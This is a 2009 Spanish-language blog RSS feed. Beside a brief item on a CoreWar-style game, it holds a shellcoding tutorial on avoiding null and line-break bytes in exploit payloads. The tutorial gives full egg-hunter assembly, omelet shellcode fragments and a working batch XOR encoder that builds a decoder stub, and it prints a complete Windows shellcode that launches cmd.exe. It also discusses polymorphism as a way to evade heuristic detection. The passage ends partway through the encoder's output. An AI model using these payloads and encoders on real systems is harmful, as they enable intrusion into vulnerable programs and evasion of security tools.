<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:media="http://search.yahoo.com/mrss/"
	>

<channel>
	<title>SSW - System Sabotage Works Team</title>
	<atom:link href="http://sswteam.wordpress.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://sswteam.wordpress.com</link>
	<description>Coding</description>
	<lastBuildDate>Sun, 11 Oct 2009 19:04:22 +0000</lastBuildDate>
	<generator>http://wordpress.com/</generator>
	<language>es</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<cloud domain='sswteam.wordpress.com' port='80' path='/?rsscloud=notify' registerProcedure='' protocol='http-post' />
<image>
		<url>http://www.gravatar.com/blavatar/77ba8bcb48b516c47bfeb579be725dc9?s=96&#038;d=http://s.wordpress.com/i/buttonw-com.png</url>
		<title>SSW - System Sabotage Works Team</title>
		<link>http://sswteam.wordpress.com</link>
	</image>
			<item>
		<title>SSWar</title>
		<link>http://sswteam.wordpress.com/2009/09/22/sswar/</link>
		<comments>http://sswteam.wordpress.com/2009/09/22/sswar/#comments</comments>
		<pubDate>Tue, 22 Sep 2009 15:15:40 +0000</pubDate>
		<dc:creator>lShadowl</dc:creator>
				<category><![CDATA[Proyectos]]></category>

		<guid isPermaLink="false">http://sswteam.wordpress.com/?p=107</guid>
		<description><![CDATA[SSWar es un juego de programacion inspirado en el CoreWar.
El objetivo del juego es crear un programa que sea capaz de mantenerse mas tiempo que los demas programa en memoria. Estos programas tienen la capacidad de moverse en la memoria, reproducirse y destruir otros procesos de los demas programas en juego. Los programas participantes en [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=sswteam.wordpress.com&blog=4167724&post=107&subd=sswteam&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><p>SSWar es un juego de programacion inspirado en el <a href="http://es.wikipedia.org/wiki/Core_War">CoreWar</a>.</p>
<p>El objetivo del juego es crear un programa que sea capaz de mantenerse mas tiempo que los demas programa en memoria. Estos programas tienen la capacidad de moverse en la memoria, reproducirse y destruir otros procesos de los demas programas en juego. Los programas participantes en el juego son compilados por una maquina virtual que los ejecuta y crea una memoria virtual en la que los programas se &#8220;mueven&#8221;.</p>
<p>El lenguaje utilizado para crear los programas esta basado en ensamblador de 16 bits de intel.</p>
<p><em>Desarrolladores: Ni0 &#8211; Ramc &#8211; Shadow</em></p>
<p><em>Estado del proyecto: En desarrollo</em></p>
<p><em>Version actual: beta semi-estable (no publica)</em></p>
  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/sswteam.wordpress.com/107/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/sswteam.wordpress.com/107/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/sswteam.wordpress.com/107/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/sswteam.wordpress.com/107/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/sswteam.wordpress.com/107/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/sswteam.wordpress.com/107/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/sswteam.wordpress.com/107/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/sswteam.wordpress.com/107/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/sswteam.wordpress.com/107/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/sswteam.wordpress.com/107/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=sswteam.wordpress.com&blog=4167724&post=107&subd=sswteam&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://sswteam.wordpress.com/2009/09/22/sswar/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">lShadowl</media:title>
		</media:content>
	</item>
		<item>
		<title>Shellcoding: No mas bytes nulos!</title>
		<link>http://sswteam.wordpress.com/2009/09/13/shellcoding-no-mas-bytes-nulos/</link>
		<comments>http://sswteam.wordpress.com/2009/09/13/shellcoding-no-mas-bytes-nulos/#comments</comments>
		<pubDate>Sun, 13 Sep 2009 00:04:24 +0000</pubDate>
		<dc:creator>lShadowl</dc:creator>
				<category><![CDATA[Tutoriales & Manuales]]></category>
		<category><![CDATA[byte]]></category>
		<category><![CDATA[codificador]]></category>
		<category><![CDATA[creacion]]></category>
		<category><![CDATA[encripctacion]]></category>
		<category><![CDATA[linea]]></category>
		<category><![CDATA[lShadowl]]></category>
		<category><![CDATA[nulo]]></category>
		<category><![CDATA[salto]]></category>
		<category><![CDATA[shellcode]]></category>
		<category><![CDATA[shellcoding]]></category>
		<category><![CDATA[XOR]]></category>

		<guid isPermaLink="false">http://sswteam.wordpress.com/?p=98</guid>
		<description><![CDATA[Shellcoding: No mas bytes nulos!
por lShadowl
Este articulo toca, ademas de la evasion de la presencia de caracteres restringidos (&#8220;00&#8243;, &#8220;0D0A&#8221;) en nuestra shellcode por medio de un metodo simple de codificacion XOR, algunos problemas comunes al programar shellcodes y como se han logrado resolver.
Teoria  
Para entender por que algunos bytes o pares de bytes [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=sswteam.wordpress.com&blog=4167724&post=98&subd=sswteam&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><div style="text-align:center;"><strong>Shellcoding: No mas bytes nulos!</strong></div>
<p>por lShadowl</p>
<p>Este articulo toca, ademas de la evasion de la presencia de caracteres restringidos (&#8220;00&#8243;, &#8220;0D0A&#8221;) en nuestra shellcode por medio de un metodo simple de codificacion XOR, algunos problemas comunes al programar shellcodes y como se han logrado resolver.</p>
<p><strong>Teoria <img src='http://s.wordpress.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </strong></p>
<p>Para entender por que algunos bytes o pares de bytes son restringidos o devieramos evitarlos a la hora de programar una shellcode debemos primero entender como los exploits manejan la shellcode, para que la utilizan, para eso veamos que es un exploit:</p>
<p>Un exploit es un programa que aprovecha un fallo o vulnerabilidad de otro programa para causar un comportamiento anormal en el, mayormente se busca la toma de control de un sistema o un ataque de negacion de servicio.</p>
<p>Los exploits actuan inyectando una porcion de codigo malicioso (la shellcode) dentro de una cadena de characteres de el programa vulnerado recibe y que posteriormente por un error en su programacion este ejecuta o crealiza algun proceso como simplemente copiar la cadena donde fue inyectada la shellcode a un lugar de memoria causando un desbordamiento de buffer si es lo que se pretendia.</p>
<p>Este es el punto de cuidado al codear la shellcode, como vimos, estas son injectadas a un programa que recibe una cadena de caracteres como entrada.</p>
<div><img src="http://img200.imageshack.us/img200/169/p1t3.jpg" border="0" alt="" /></p>
<p><img src="http://img200.imageshack.us/img200/3017/p2t3.jpg" border="0" alt="" /></div>
<p>&gt;&gt;<a href="http://skypher.com/wiki/index.php/Hacking/Shellcode/Alphanumeric/x86_printable_opcodes" target="_blank">Printable x86 opcodes table</a></p>
<p>Como podemos ver en la tabla de opcodes, los valores hexadecimales de CR y LF (un salto de linea) son &#8220;0D&#8221; y &#8220;0A&#8221; respectivamente, es decir que si se injecta una shellcode con estos caracteres, el programa host (donde se inyecta) indentificara la secuencia y hara el salto de linea causando efectos catastroficos en el funcionamiento de la shellcode, esto mismo para con el byte &#8220;00&#8243; (byte nulo), el que en una cadena supone su final, otro byte que tenemos que evitar.</p>
<p><strong> +Teoria: otros problemas comunes al codear //clases de shellcodes</strong></p>
<p>-&gt;Shellcodes polimorficas:</p>
<p>Un metodo para evitar heuristicas es el polimorfismo, los creadores de vx sabran que hacer una shellcode polimorfica es lo mismo que trabajar esa tecnica en la creacion de virus.</p>
<p>Basicamente esta tecnica consiste en hacer que el programa sea capaz de modificar su codigo por si mismo y llegar a un mismo resultado.</p>
<p>Como? veamos de que estoy hablando por medio de relaciones:</p>
<p>a+b=c</p>
<p>b+c=c</p>
<p>1(a+b)=c</p>
<p>(a+(2*3))+(b+6)=c</p>
<p>Como podemos ver, operaciones diferentes, llegan al mismo resultado.</p>
<p>Igual en asm:</p>
<p>{</p>
<p>xor cx,cx</p>
<p>add cx,32h</p>
<p>}opcodes: 31C983C132 // cx=32h</p>
<p>{</p>
<p>xor cx,cx</p>
<p>mov cl,31h</p>
<p>inc cx</p>
<p>}opcodes: 31C9B13141 // cx=32h</p>
<p>El primer conjunto de instrucciones &#8220;31C983C132&#8243; son diferentes al segundo &#8220;31C9B13141&#8243;, sin embargo tienen la misma cantidad de bytes y llegan al mismo resultado con el registro cx.</p>
<p>Esta es la base del polimorfismo, aunque tambien se utiliza para modificar la shellcode buscando eliminar bytes restringidos como veremos mas adelante.</p>
<p>-&gt; Staged shellcodes ~ Shellcode por etapas:</p>
<p>Muchas veces existe el problema de que el programa vulnerable nos limita el tama?o que es capaz de recibir, en este caso la estrategia del atacante es introducir una seccion de shellcode peque?a que hace funcion de &#8217;stub&#8217; cargando el resto de la shellcode estando ya dentro del host.</p>
<p>Existen otros tipos de staged shellcode, la egg-hunt shellcode y la omelet (similar a la egg-hunt).</p>
<p>&#8211;&gt; Egg-hunt ~ Caceria de huevos:</p>
<p>La egg-hunt basa su estrategia en cargar la parte mayor en un lugar de memoria con espacio para mantenerla pero con una direccion desconocida, este vendria siendo el huevo, el loader, la primera seccion de la shellcode en inyectarse es la encargada de revisar cada proceso en busca del huevo (la otra seccion de la shellcode).</p>
<p>Veamos un ejemplo:</p>
<p><!-- BEGIN TEMPLATE: bbcode_code --></p>
<div style="margin:5px 20px 20px;">
<div class="smallfont" style="margin-bottom:2px;">Código:</div>
<pre class="alt2" style="border:1px inset;overflow:auto;width:470px;height:498px;text-align:left;margin:0;padding:6px;">egghunt:
jmp startup

exception_handler:
mov eax, [esp + 0x0c]
lea ebx, [eax + 0x7c]
add ebx, 0x3c
add [ebx], 0x07
mov eax, [esp]
add esp, 0x14
push eax
xor eax, eax
ret

startup:
mov eax, 0x42904290         ;marca del huevo, en este caso:
                                    ;nop
                                    ;inc edx
                                    ;nop
                                    ;inc edx
jmp init_exception_handler_skip
init_exception_handler_fwd:
jmp init_exception_handler
init_exception_handler_skip:
call init_exception_handler_fwd

init_exception_handler:
pop ecx
sub ecx, 0x25
push esp
push ecx
xor ebx, ebx
not ebx
push ebx
xor edi, edi
mov fs:[edi], esp

search_loop_begin_pre:
search_loop_start:
xor ecx, ecx
mov cl, 0x2
push edi                    ;posible punto de inicio del huevo a la pila
repe scasd                  ;el puntero actual es el inicio del huevo?
jnz search_loop_failed      ;no, ok sigamos con el siguiente
pop edi                     ;bien, restauramos el punto de inicio
jmp edi                     ;vamos donde esta resto de la shellcode

search_loop_failed:
pop edi
inc edi
jmp search_loop_start</pre>
</div>
<p><!-- END TEMPLATE: bbcode_code -->&#8211;&gt;Omelet~Varios huevos batidos cocinados con mantequilla. Excelente con queso  <img src='http://s.wordpress.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> :</p>
<p>La unica diferencia entre el metodo egg-hunt y el omelet es que el loader del omelet inyecta varias secciones de shellcode (huevos) en diferentes procesos. Este metodo se usa cuando es limitado el tama?o permitido de inyeccion en el proceso seleccionado, generalmente los &#8220;huevos&#8221; son bastante peque?os. El omelet (loader de la shellcode) esta encargado de buscar cada una de las secciones y unirlas en una sola.</p>
<p>Este metodo solo es valido para win32 ya que es necesario usar la SEH (Structured Exception Handler) que se encarga de manejar las violaciones de acceso causadas por el escaneo progresivo de la memoria.</p>
<p>Veamos por encima las estructuras del SEH:</p>
<p><strong>EXCEPTION_POINTERS Structure: </strong></p>
<p>Contiene un expediente de la descripcion de la excepcion y su contexto cuando sucedio.</p>
<p><!-- BEGIN TEMPLATE: bbcode_code --></p>
<div style="margin:5px 20px 20px;">
<div class="smallfont" style="margin-bottom:2px;">Código:</div>
<pre class="alt2" style="border:1px inset;overflow:auto;width:470px;height:82px;text-align:left;margin:0;padding:6px;">typedef struct _EXCEPTION_POINTERS {
  PEXCEPTION_RECORD ExceptionRecord;
  PCONTEXT          ContextRecord;
}EXCEPTION_POINTERS, *PEXCEPTION_POINTERS;</pre>
</div>
<p><!-- END TEMPLATE: bbcode_code --><strong>EXCEPTION_RECORD Structure:</strong></p>
<p>Describe la excepcion.</p>
<p><!-- BEGIN TEMPLATE: bbcode_code --></p>
<div style="margin:5px 20px 20px;">
<div class="smallfont" style="margin-bottom:2px;">Código:</div>
<pre class="alt2" style="border:1px inset;overflow:auto;width:470px;height:146px;text-align:left;margin:0;padding:6px;">typedef struct _EXCEPTION_RECORD {
  DWORD                    ExceptionCode;
  DWORD                    ExceptionFlags;
  struct _EXCEPTION_RECORD *ExceptionRecord;
  PVOID                    ExceptionAddress;
  DWORD                    NumberParameters;
  ULONG_PTR                ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS];
}EXCEPTION_RECORD, *PEXCEPTION_RECORD;</pre>
</div>
<p><!-- END TEMPLATE: bbcode_code -->Un ejemplo del <a href="http://skypher.com/wiki/index.php/Hacking/Shellcode/Egg_hunt/w32_SEH_omelet_shellcode" target="_blank">w32_SEH_omelet.py de Skypher</a>:</p>
<p><!-- BEGIN TEMPLATE: bbcode_code --></p>
<div style="margin:5px 20px 20px;">
<div class="smallfont" style="margin-bottom:2px;">Código:</div>
<pre class="alt2" style="border:1px inset;overflow:auto;width:470px;height:210px;text-align:left;margin:0;padding:6px;"> // This is the binary code that needs to be executed to find the eggs,
 // recombine the orignal shellcode and execute it. It is 82 bytes:
 omelet_code = "\x31\xFF\xEB\x23\x51\x64\x89\x20\xFC\xB0 ... \xFF\x50\x08";

 // These are the eggs that need to be injected into the target process
 // for the omelet shellcode to be able to recreate the original shellcode
 // (you can insert them as many times as you want, as long as each one is
 // inserted at least once). They are 64 bytes each:
 egg0 = "\x3B\xFF\x76\x08\x28\x33\xC9\x64\x8B\x71\x30\x8B ... \x57\x51\x57";
 egg1 = "\x3B\xFE\x76\x08\x28\x8D\x7E\xEA\xB0\x81\x3C\xD3 ... \x24\x03\xCD";
 egg2 = "\x3B\xFD\x76\x08\x28\x0F\xB7\x3C\x79\x8B\x4B\x1C ... \x47\xF1\x01";
 egg3 = "\x3B\xFC\x76\x08\x28\xAB\xAB\x57\x54\x52\x52\x52 ... \x40\x40\x40";</pre>
</div>
<p><!-- END TEMPLATE: bbcode_code --></p>
<p><strong>Encriptado la shellcode:</strong></p>
<p>Volviendo a la primera parte de la teoria, recordemos el problema de los bytes nulos y saltos de linea, en esta seccion veremos dos metodos de encripcion: el alfanumerico y el xor.</p>
<p>&#8211;&gt;Alfanumerico:</p>
<p>El metodo alfanumerico consiste en convertir la shellcode en un conjunto de opcodes alfanumericos, de caracteres que pueden ser impresos, para evitar problemas en la inyeccion de esta.</p>
<p>&#8212;&gt; Ascii art:</p>
<p>&#8220;Si vamos a hacer una shellcode, tiene que verse bien.&#8221;</p>
<p><!-- BEGIN TEMPLATE: bbcode_quote --></p>
<div style="margin:5px 20px 20px;">
<div class="smallfont" style="margin-bottom:2px;">Cita:</div>
<table border="0" cellspacing="0" cellpadding="6" width="100%">
<tbody>
<tr>
<td class="alt2" style="border:1px inset;">WTX638WYWX4H4Pd38V34L3w0V34034Lj034LQXH41VV34LT34L  Z1dDh3dDhRQXH4d4XPhAAQBhYYYYfhXBZBBBBRJfRT14L34LWH  Hh</p>
<p>28HHXTX38d39GGGGV3717RQXH4A4a1dDb3dDbABCEFGHIJKMNO  ABCEFGHIJKMNOABCEFGHIJKMNOABCEFGHIJKMNOABCEFGHIJKA  Bh</p>
<p>HH39VTX30VXH4r4PP34tjAX0DqbFkDqjQ2Dqk0D1Hu9YhTtYP6  hyUpvsojbdTxAyCPDEMZTDLbprjhbXWISM3YfPmysvndkWTooN  qT</p>
<p>DDMJGEIL7&#8243;&#8221;"&#8221;"&#8221;"*Y&#8221;"&#8221;"YHBDAILHGAMILHG7&#8243;&#8221;"&#8221;"YBMKNIL  GIAIGKGEGICAEBGDGNGIFJNDGCDA7*&#8221;"&#8221;7ILPELFACCLOBJJGG  LK</p>
<p>DDDCFCG&#8217;,dIHHHDDb,&#8217;CFb`PCLOBNGILPMPDK YKEB7 FB7&#8243;&#8221;"7EBFBFHFBFHINHOOKLAIBDMNDHFA dGJ7 &#8220;YFPPFHPMJFFHGAILF</p>
<p>NDMILFM BNH , cIAY DNN ILELCAADMNDDPPb JJE dHI LDE LJADPFKMDEHBCKNADMHBHFPHDKF ECE sa BMHFOKILELCEADMN</p>
<p>APLHDMH JIL,&#8221;"&#8212;, ELB MA7&#8243;&#8221;"*&#8221;"&#8221;7Y*&#8221;" 7DM NA7&#8243;&#8212;dY&#8221;"&#8221;*Y*&#8221;"*YDY*&#8221;"&#8221;"&#8221;*YCY*&#8221;"* MLJ Y J*&#8221;"&#8221;"&#8221;*YFFPKLFHG</p>
<p>BDLPHKM &#8220;YHFLEFOb, KNP P&#8217;,NA7 dKY  dNP&#8221;,PN AJ YFLb`.YIAb,dCHb,&#8217;,dGALDMb,&#8217;,dGGb,JIF ,&#8217;,dAFEKNb,&#8217;FFPPNAI</p>
<p>FMAHEPI:&#8212;&#8211;,&#8221;JJF CFC &#8216;,IN7 dHM d CED EKL MGb EHP B ABK&#8221;&#8216;*LKL FHF .,EFC FCF*&#8217;&#8221;CFE F CFC &#8211; **Y FGFCPPF</p>
<p>GOEILEG dPM7 O LNJ AAPTCBC(  VEJ T JOH JOH QLB &#8220;&#8221;" B WDZ P QKS LZNGY**&#8221;` OGW W ONM Y `&#8221;**+uq,.&#8217;WPELAFG</p>
<p>VPJLWUR URH &#8220;&#8221; FYG POI .&#8217;FVb YVQ &#8216;,PLP GZJ &#8220;&#8221;" &#8220;ODb&#8217; JXM E XTO COY &#8211; pqd ILD,.qOXQ 7 bpp &#8211; YKH FFKMSLB</p>
<p>EUSUKOX.&#8217;YWMFRRXY&#8217;,CAY Di&#8217;ZQb YIEY&#8221;OWP BYOKJACSOKY&#8221; dYOS &#8216;dVFB &#8220;YXVNQBY&#8221;,&#8221;YOUY&#8221;YBFb ,&#8221;YNFHOQY&#8221;.WVKQJLV</p>
<p>PUZZLCMFbasouvnandansodGDbuan?&#8212;, CKL eanuxzvcumndbuasodbzasudbeasznvodSboezn1ozxvdLbneu  oasobXLJYYBFU</p>
<p>VQDTSOVGXSPY7&#8243;&#8221;"&#8221;"&#8221;"*Y&#8221;"&#8221;"7D dBW&#8221;  JXO KU7&#8243;&#8221;"&#8221;"*&#8221;"&#8221;YEGLJQQLQAKSGBDEMEQLEZHTB7*&#8221;"&#8221;YKKMOPFM  UWUXNFJSNPFXV</p>
<p>DRRQAIRQQMG&#8217;,dTRUKCHb,&#8217;SYb`Q.&#8221;YHXQZSY&#8221;.IX YONQ7.CM7 CVYAXXNBXGLFHZAKJJFEDTGW dGZ7 IRMYHDUZXIAJXIYXYRMI</p>
<p>MIFQRSWKMJM QVQ&#8217;, eSCY ZMR RZbaesuozsdFZXb TZH QXJ JJXZYDOSIJOLWJYIIMKVIXAVK NJH dMDTSKTOAHGWBWGIJNLIS</p>
<p>NHNTEDQNQSJ WFX,&#8221;"&#8212;, XSM *&#8221;"*YLY*&#8221;"&#8221;"&#8221;*Y EAA FHQ Y*&#8221;"&#8221;"&#8221;*YIY*&#8221;"&#8221;"&#8221;*YVY*&#8221;"* FML Y*&#8221;"&#8221;"&#8221;*YMAECTMQWHUOY</p>
<p>YFWWCIECNFK &#8220;YXIXSEAb, HFF,dSIb,&#8217;,dYPSBBb, KMH TZT ,dZQNONb,&#8217;,dNCHOVb,&#8217;,dMCb,UJP ,dNUSEJb,&#8217;KZOIXHNWBVS</p>
<p>GJJKBJSBMXM:&#8212;&#8211;,&#8221;KTM ORX&#8221;&#8216;*ZUW dHA&#8217;.,ZEU SGQ UKA VLO&#8217;,`**Y OTZ&#8217;,`PYM NYN*&#8217;&#8221;PLF MJZ .,PZK RFNIKQUBDHT</p>
<p>QTDWEVEOXGX dVL7 Y JWC TFR Z WIL ZZNMY**&#8221;&#8216; ZTA CGW OND CT+=- PYQ Z QFA RJC Q GTR CGPXY**&#8221;`.YIHIUTGYLFP</p>
<p>IQENEBPJILC NGC,&#8221;".FIS IKK C VMZ BKO,-,qqd TUK RVY YFR,&#8217;.qqd ENO,&#8217;.SAF GZT,.qHLE HQZ &#8211; qqd FWSFUKJCEFB</p>
<p>YJASYKFYRCB.&#8217;YJFTEXVY&#8217;,BHY Q YGY,&#8221;YJDBBAY&#8221;,UKMb&#8217;GWb`YCABKYY&#8221;.&#8221;YDWYHIY&#8221;.&#8221;YMUY&#8221;YC  Ab&#8221;YBIIYNY&#8221;,IEXZKKUMPQD</p>
<p>PDHBLIWPDBMQbouaenoxzdzzxedBbxoasdenxzsasdoeuneuza  s1moxcasedGbzxnmexadPbaeox1xauo1eusazxzdMQGIJYYGPQ  ZZ</p>
<p>AUYYKTZCTAWMTGVCPAMQKGZZZIUASOMJGHRKNLDYLHZYSGDJVX  ETRKMNMJRUNVIOPGMZHBVXFTXWVCRQBBKJGCZPIYDFDSHGISXZ  AL</p>
<p>ANUEFFTCYBBZKFUZRIHQPHPYDZJHOWXKUMBNWXGHBCGHWHDYVO  NRGKECYYRBNTBKDLVNGQZAYMFPJVGZWXZCCJIGSNIJKRTNRZKV  ZX</p>
<p>XPBMUPTRCDXTGCPOSCTMUQYQOZKYENJPDLZSXUFEUJCNBBZFOR  BAUMFUGXFCBPQKIPHAJGITAHUNUOKFJAWSZCYASNQDNOBKJBZT  UN</td>
</tr>
</tbody>
</table>
</div>
<p><!-- END TEMPLATE: bbcode_quote -->&gt;&gt; <a href="http://skypher.com/wiki/index.php/Hacking/Shellcode/ASCII_Art/Blocky" target="_blank">http://skypher.com/wiki/index.php/Ha&#8230;CII_Art/Blocky</a></p>
<p>Y aqui: <a href="http://skypher.com/wiki/index.php/Www.edup.tudelft.nl/~bjwever/src/alpha2.c" target="_blank">ALPHA2</a>, un codificador alfanumerico para shellcodes.</p>
<p>&#8211;&gt; XOR-enado</p>
<p>Una shellcode de este tipo consiste en dos partes: el &#8217;stub&#8217;, que se encarga de decodificar el codigo encriptado y ejecutarlo y el codigo encriptado en si.</p>
<p>Para este tutorial he creado un simple script batch que nos permite codificar la shellcode por el metodo XOR.</p>
<p>Veamos el codigo:</p>
<p><!-- BEGIN TEMPLATE: bbcode_code --></p>
<div style="margin:5px 20px 20px;">
<div class="smallfont" style="margin-bottom:2px;">Código:</div>
<pre class="alt2" style="border:1px inset;overflow:auto;width:470px;height:498px;text-align:left;margin:0;padding:6px;">:: shc_encoder (Codificador de shellcodes)
:: Autor: lShadowl; The Shadow
:: Fecha de realizacion: 07/08/09
:: Caracteristicas:
::	-Utiliza el metodo xor para encriptar.
:: 	-Proporciona el codigo fuente (en asm) para crear la rutina decodificadora correspondiente.
::	-Identifica la existencia de bytes nulos y saltos de linea.
::	-Cambia el metodo de encriptacion si es necesario para que no existan bytes nulos o saltos de linea.
:: Limitaciones:
::	-Tama?o maximo de la shellcode de entrada: 61423 bytes
::	-Formato de la shellcode de entrada: \x&lt;byte en hexadecimal&gt;. Ejemplo: \xc7\xe2\xf0\x52
@echo off
setlocal enabledelayedexpansion
if '%1==' (goto:err)
if exist %1 (for /f "delims=" %%a in (%1) do set shellcode=%%a) else (goto:err)
echo =Shellcode original: %shellcode%
set hexstr=0123456789abcdef&amp;&amp; set xor_value=9

:encode
set sc_sz=0&amp;&amp; set i=2&amp;&amp; set/a xor_value+=0x01&amp;&amp; set encoded_shellcode=
echo =^&gt;  Codificando Opcodes (xor 0x%xor_value%)...
:encode_loop
set current_byte=!shellcode:~%i%,2!&amp;&amp; set encodedbyte_hex=
if %current_byte%'==' (goto:test)
set/a encoded_byte=0x%current_byte%^^0x%xor_value%
call:d2h %encoded_byte%
if /i %hex:~-2% lss 10 set hex=0%hex:~-2%
set encoded_shellcode=%encoded_shellcode%\x%hex:~-2%
set/a i+=4&amp;&amp; goto:encode_loop

:test
echo =Shellcode codificada: %encoded_shellcode%
echo =^&gt;  Moviendo shellcode codificada a sc.shellcode...
echo %encoded_shellcode%&gt;sc.shellcode
echo =^&gt;  Buscando bytes nulos y saltos de linea en sc.shellcode...
for %%a in (\x00 \x0d\x0a) do (type sc.shellcode|find "%%a"&gt;nul
	if !errorlevel!==0 (echo =^&lt;    %%a encontrado con: xor 0x%xor_value%
		goto:encode))

:len_loop
set var=!shellcode:~%sc_sz%,1!
if %var%'==' goto:build_decoder
set/a sc_sz+=1
goto:len_loop

:build_decoder
echo =^&gt;  Creando codigo fuente del stub decodificador...
set/a sc_sz/=4
set/a sc_sz+=0x1010
call:d2h %sc_sz%
echo ****************%hex: =%%xor_value%_decoder.asm********
(echo [BITS 32]
echo global ini
echo ini:
echo 	jmp short sc_data
echo decode_routine:
echo   	pop ebx
echo 	xor ecx,ecx
echo 	mov cx, 0x%hex: =%
echo 	sub cx, 0x1010
echo decode_loop:
echo 	xor byte [ebx], 0x%xor_value%
echo 	inc ebx
echo 	loop decode_loop
echo 	jmp short shellcode
echo sc_data:
echo 	call decode_routine
echo shellcode:)&gt;%hex: =%%xor_value%_decoder.asm
type %hex: =%%xor_value%_decoder.asm&amp;&amp; echo *****************************************
echo =Codigo del decodificador guardado en %hex: =%%xor_value%_decoder.asm

echo.&amp;&amp; echo ^&gt;Proceso finalizado^&lt;

goto:eof
:err
echo Uso: shc_encoder.bat ^&lt;shellcode^&gt;&amp;&amp; goto:eof

:d2h
set dec=%1&amp;&amp; set hex=
:loop
set/a ths=%dec% %% 16
call :evals %%hexstr:~%ths%,1%%
if /I %dec% GEQ 16 (set /A dec=%dec%/16) else (goto:EOF)
goto:loop
:evals
set hex=%1%hex: =%&amp;&amp; goto:EOF</pre>
</div>
<p><!-- END TEMPLATE: bbcode_code -->El script esta bastante explicado asi que pasaremos a la prueba:</p>
<p>Usaremos la shellcode creada en el articulo &#8220;<a href="http://sswteam.wordpress.com/2009/09/12/creando-una-shellcode-direccion-de-kernel32-y-calls-especiales/" target="_blank">Creando una Shellcode</a>&#8220;:</p>
<p><!-- BEGIN TEMPLATE: bbcode_quote --></p>
<div style="margin:5px 20px 20px;">
<div class="smallfont" style="margin-bottom:2px;">Cita:</div>
<table border="0" cellspacing="0" cellpadding="6" width="100%">
<tbody>
<tr>
<td class="alt2" style="border:1px inset;">\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x  8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f  \xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x  2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52  \x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x  4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3  \x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\x  c1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b  \x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x  0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89  \x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x  5f\x5a\x8b\x12\xeb\x86\x5d\xe9\x0e\x00\x00\x00\x68  \x31\x8b\x6f\x87\xff\xd5\x68\xf0\xb5\xa2\x56\xff\x  d5\xe8\xed\xff\xff\xff\x63\x6d\x64\x2e\x65\x78\x65  \x20\x00</td>
</tr>
</tbody>
</table>
</div>
<p><!-- END TEMPLATE: bbcode_quote -->Como podemos ver, contiene muchos bytes nulos: &#8220;\x00&#8243;.</p>
<p>Veamos la salida al pasarlo por el script:</p>
<p><!-- BEGIN TEMPLATE: bbcode_quote --></p>
<div style="margin:5px 20px 20px;">
<div class="smallfont" style="margin-bottom:2px;">Cita:</div>
<table border="0" cellspacing="0" cellpadding="6" width="100%">
<tbody>
<tr>
<td class="alt2" style="border:1px inset;">=Shellcode original: \xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x  8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f  \xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x  2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52  \x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x  4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3  \x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\x  c1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b  \x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x  0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89  \x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x  5f\x5a\x8b\x12\xeb\x86\x5d\xe9\x0e\x00\x00\x00\x68  \x31\x8b\x6f\x87\xff\xd5\x68\xf0\xb5\xa2\x56\xff\x  d5\xe8\xed\xff\xff\xff\x63\x6d\x64\x2e\x65\x78\x65  \x20\x00</p>
